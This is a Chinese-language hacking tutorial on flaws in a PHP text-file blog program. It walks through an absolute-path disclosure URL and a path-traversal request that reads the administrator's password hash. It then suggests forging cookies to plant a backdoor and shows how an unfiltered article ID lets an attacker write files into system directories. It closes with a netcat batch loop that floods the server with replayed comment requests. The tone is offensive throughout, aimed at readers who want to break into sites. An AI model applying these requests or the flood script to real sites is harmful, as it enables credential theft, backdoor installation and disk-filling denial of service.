首先開門見山,我們說說它的絕對路徑暴露問題.........
只要提交地址:_blank>http://localhost/blog/index.php?m=2&y=/2005
就可以得到程序所在絕對路徑!
這是php中很經常出現的問題!
現在我們在來看一段代碼,這是showcat.php里的內容!
if (!file_exists("$dirblog/$cat.php")) {
wronginfo($langerrornocat);
}
unset ($allfiles);
$allfiles=@file("$dirblog/$cat.php");
看到了沒有?他直接把cat.php沒有處理就拿出來用了,而它又是怎么處理他拿出來的數據的呢?
for ($i=$start; $i<$end;$i++) {
$latest=explode("|",$allfiles[$i]);
$articleid=$latest[1];
$articlename=$latest[2];
$latest[3]=mktimezone($latest[3]);
$showtime=date("Y-n-j",$latest[3]);
這樣,它將$cat提交來的文件打開,讀出來,但是以|為分隔讀出文件內容,因為以|讀出文件內容卻是從1開始的,所以我們讀不出其他的文件,我們只能讀文件里有|的文件的第一個|后面的數據。也就是說,假設我們知道用戶所在目錄的話,我們就可以提交_blank>http://localhost/blog/index.php?job=showcat&cat=../saiy/userid
便可以得到管理員的密碼散列。
然后偽造cookies登陸,直接可以傳后門了。但是前提是要知道目錄名,所以這只限制于目錄名了,但是假設對方站點上有其他的php+文本的程序,我們可以利用此文件讀出隱秘內容。
我們再來說第二個問題,回復評論未限制時間,大家大概覺得這不算什么問題吧,看完代碼不知道你還會這么想嗎?
$replyauthor=safe_convert($replyauthor);
$remreplyauthor=$replyauthor;
if ($replyemail!="") $replyauthor.="胃胃".safe_convert($replyemail);
$replycontent=safe_convert($replycontent);
$simplecontent=preg_replace("/\[(.+?)\]/is", "", $replycontent);
$simplecontent=preg_replace("/<(.+?)>/is", "", $simplecontent);
$simplecontent=preg_replace("/&(.+?);/is", "", $simplecontent);
$curexcerpt=msubstr($simplecontent,0,20);
$timestamp=time();
$areply=@readfromfile("$dirblog/$articleid.rpl");
writetofile("$dirblog/$articleid.rpl",$replycontent."\n|rep|\n".$areply);
writetofile("$dirblog/list.php",$all1);
updaterenum(1);
看到沒有?居然也沒對$articleid做過濾,大家覺得嚇人嗎?哦?你們覺得不怎么樣?恐怕不好玩?我改改你再看看。
writetofile("$dirblog/C:\winnt\system32\hacker.rpl",$replycontent."\n|rep|\n".$areply);
呼,這樣我們把一個垃圾文件寫到系統目錄下了。要么,寫到管理員啟動目錄?一個N大無比的文本文件。
只要我們不停的提交數據,則不斷的把文件寫入了,假設你手頭沒有工具可以幫你提交,我教你個簡單的,利用NC的方法!
首先,抓取你發表評論的包,存在NC所在目錄下,命名為test.txt。這個大家都會做吧~~
再建立一個bat,命名為test.bat內容為:
nc www.test.com 80
test.bat
呵呵,運行這個.bat文件它就會不停的發送評論了,開兩個就是兩個線程哦 o


